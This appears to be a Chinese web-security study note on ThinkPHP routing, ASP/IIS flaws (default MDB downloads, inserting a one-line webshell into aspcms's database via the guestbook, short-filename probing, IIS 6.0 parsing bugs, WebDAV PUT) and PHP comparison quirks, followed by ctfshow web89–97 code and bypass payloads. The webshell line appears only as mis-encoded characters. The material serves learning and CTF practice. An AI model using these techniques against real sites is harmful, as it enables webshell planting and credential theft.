知识补充
使用thinkphp
开发的框架,其首页访问指向public
目录,指向其中的index.php文件
指向的index.php打开网页后是如下情况,代码如下
定义应用目录,是将文件首页展示在上图的application
目录下,其下有index.php文件
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
application
目录index.php文件
thinkphp框架首页访问的目录
想要得到的目录与首页的关系http://127.0.0.1:8088/index.php/index/index/index
index.php为应用入口的文件,接着为index目录,index类(模块),index方法;
所以在一下目录创建另一个类,访问时,更换后面的方法即可。访问页面变为1index
字符串http://127.0.0.1:8088/index.php/index/index/ix
http://127.0.0.1:8088/index.php/index/ceshi/test
HTTP 常见方法
文件路径的正斜杠(/)与反斜杠(\)
ASP安全
Microsoft Active Server Pages(ASP)是服务器端脚本编写环境。
主要包含:MDB下载植入&IIS短文件名&写权限&解析
环境搭建组合:windows iis asp access/sql server
主要包含ASP-数据库-MDB默认下载:access数据库一般后缀名mdb(下载)、asp 、asa (执行解析)
mdb文件在网站目录下,思路:如果知道数据库的地址,可尝试下载获取数据库文件,获取当前管理员账号密码信息。
默认下载:使用asp+access数据库,却不修改默认mdb地址。IIS不能解析MDB文件,当成普通文件下载。(文件服务器端不会解释,客户端浏览器也不会解释,所以就下载到本地。)
思路:位置地址:如果没有修改默认数据库文件位置可尝试默认数据库配置(即本地搭建后默认存放的数据库文件与其他文件位置(比如admin后台管理页面等),没修改。)或采用扫描
ASP-数据库-ASP后门植入连接:数据库是asp,asp可解析,向asp数据库文件写入一句话木马可以直接连上去,此时访问数据库文件将会被服务器当成代码文件执行,所以图片里面的代码就会被执行。
以aspcms为例:
aspcms主要是信息发布系统,数据库默认配置为asp,目录在/data/data.asp下。
漏洞成因:在留言板处对信息处理不当,导致代码注入。可直接将一句话木马插入数据库。
利用方法:保证默认数据库路径未更改且可留言。
┼攠數畣整爠煥敵瑳∨≡┩愾
ASP-中间件-IIS短文件名探针-安全漏洞:为兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。
在Windows下查看对应的短文件名,可以使用命令 dir /x
短文件名特征:
\1) 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。
\2) 后缀名最长只有3位,多余的被截断。
\3) 访问构造的某个存在的短文件名,会返回404
\4) 访问构造的某个不存在的短文件名,会返回400
ASP-中间件-IIS文件上传解析-安全漏洞:在 Windows 2003 IIS 6.0 下有两个漏洞,IIS 6.0并不是只根据文件的最后一个后缀名来判断文件的运行方式,这就引发了IIS目录解析漏洞和文件名解析漏洞。
目录解析:对于名字为**.asp后缀的文件夹**,IIS会将该文件夹内部的文件都解析为.asp文件来执行。即a.asp/1.jpg中的1.jpg会作为asp文件执行。
文件名解析:对于名字诸如a.asp;.jpg文件,IIS并非以最后一个后缀名来判断格式,故会将其解析为asp文件并执行。即如果上传木马的后缀为 .asp;.jpg 就可以被服务器执行。
ASP-中间件-IIS配置目录读写-安全配置:在web服务扩展中开启了WebDAV,配置了可以写入的权限,存在PUT任意文件写入漏洞。
web之ASP安全参考文章
小迪讲解参考
复现靶场应用:墨者_IIS写权限漏洞分析溯源
Aspx安全分析与未授权访问
未授权访问
判断用户的身份(后台有多个功能性的文件页面):
- 在每个文件里添加验证的代码,通常为
cookie
- 创建一个专门的文件用于判断,其它验证文件包含它
找未授权访问:
- 找那些没有包含验证代码的文件
- 判断验证代码是否有绕过的可能
.net是c#
的框架,其源码反编译,课直接拖进ILSpy
中。
aspx开发网站会存在信息泄露,在网站根目录下的web.config配置文件中customError设置,导致报错信息造成的信息泄露。
ASP.NET审计参考
php特性&web89~97
-
==
与===
的区别:https://blog.csdn.net/qq_63792137/article/details/127594787
弱=时,不比较类型,如==1时,1.0,+1,1a等都一样
强=时,必须数据类型也一样 -
MD5 ==
与===
的比较
若=用0e
绕过,强=用数组绕过 -
intval
缺陷绕过 int intval ( mixed $var [, int $base = 10 ] )
php中intval函数 是用于获取变量的整数值,当后面的base为0时,可根据输入的进制数转为10进制。echo intval(4.2); // 4 echo intval('42'); // 42 echo intval('+42'); // 42 echo intval('-42'); // -42 echo intval(042); // 34 echo intval('042'); // 42 echo intval(1e10); // 10000000000 echo intval(1e10); // 10000000000 echo intval('1e10'); // 10000000000 echo intval(0x1A); // 26 echo intval(42000000); // 42000000 echo intval(420000000000000000000); // 0 echo intval('420000000000000000000'); // 2147483647 echo intval(42, 8); // 42 echo intval('42', 8); // 34 echo intval(array()); // 0 echo intval(array('foo', 'bar')); // 1
-
strpos()
函数,查找字符串在另一字符串中第一次出现的位置(区分大小写)
可以利用换行进行绕过(%0a)url编码是回车换行,当返回的位置为0时,if判断也是false,所以输出的也是false。 -
in_array
第三个参数安全bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
搜索数组中是否存在指定的值。
第三个参数为true时,检查搜索的数据与数组的值的类型是否相同。
PHP代码审计04之strpos函数使用不当 -
preg_match:用于执行一个全局正则表达式匹配
preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
/i:不区分大小写
/m:换行匹配
-
str_replace
:其他字符替换字符串中的一些字符,开发中用于过滤某些字符串
但是其仅仅只过滤一次,所以可以双写进行绕过
靶场练习ctfshow
web89:数组绕过
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
pyload:?num[]=1
web90:强类型比较
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
pyload:?num=4476.0
或0x117c
web91:/m换行匹配
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
pyload:?cmd=%0aphp
web92:弱类型比较
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
pyload:?num=4476.1abc
web93:弱类型,过滤字母
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
pyload:?num=4476.1
或8进制绕过
web94:强类型,必须为整数,判断传入是否有0
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
pyload:?num=%20010574
或用%0a绕过(20为空格)
web95:与上题一样,多过滤了一个“.”
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
pyload:?num=%20010574
或用%0a绕过(20为空格)
web96:访问当前目录文件
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
pyload:?u=./flag.php
web97:MD5强=绕过文章来源:https://www.toymoban.com/news/detail-815670.html
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
pyload:a[]=1&b[]=s
文章来源地址https://www.toymoban.com/news/detail-815670.html
到了这里,关于安全基础~web攻防特性1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!